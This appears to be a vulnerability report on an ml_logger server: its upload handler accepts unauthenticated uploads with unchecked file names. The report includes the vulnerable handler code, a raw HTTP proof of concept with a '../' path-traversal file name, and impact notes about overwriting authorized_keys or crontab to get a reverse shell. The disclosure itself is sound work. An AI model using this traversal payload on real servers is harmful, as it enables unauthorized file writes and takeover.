[BUG] Insecure file uploads

[0x1f]

Summary

Insecure file uploads allow any unauthenticated user to upload and overwrite any type of file on the server, resulting in security vulnerabilities.

Details

The routing handler function log_handler in the file ml_logger/server.py uploads any file.

        if req.files:
            (file,) = req.files["file"]
            print(f"uploading: {file.name} len: {len(file.body)}")
            self.log(file.name, file.body, "byte", LogOptions(overwrite=True))
            return sanic.response.json(dict(name=file.name, length=len(file.body), overwrite=True))

Specifically, when the request is for a file, it parses the file-related fields in the request and uploads them to the server. It then uploads the file to a specified location using either directory traversal.

PoC

POST / HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: multipart/form-data; boundary=------------------------4LQDoZHSY8Ndq98O2icSYA
User-Agent: curl/8.15.0
Accept: */*
Content-Length: 208

--------------------------4LQDoZHSY8Ndq98O2icSYA
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwn"
Content-Type: text/plain

test body

--------------------------4LQDoZHSY8Ndq98O2icSYA--

Impact

Write and overwrite any file in the server, such as overwriting ssh authorized_keys, and write to the scheduled task file (crontab) to achieve the purpose of rebound shell.

Suggestions

When uploading a file, determine the file type before uploading. Character sequences such as ../ are not allowed in the file name.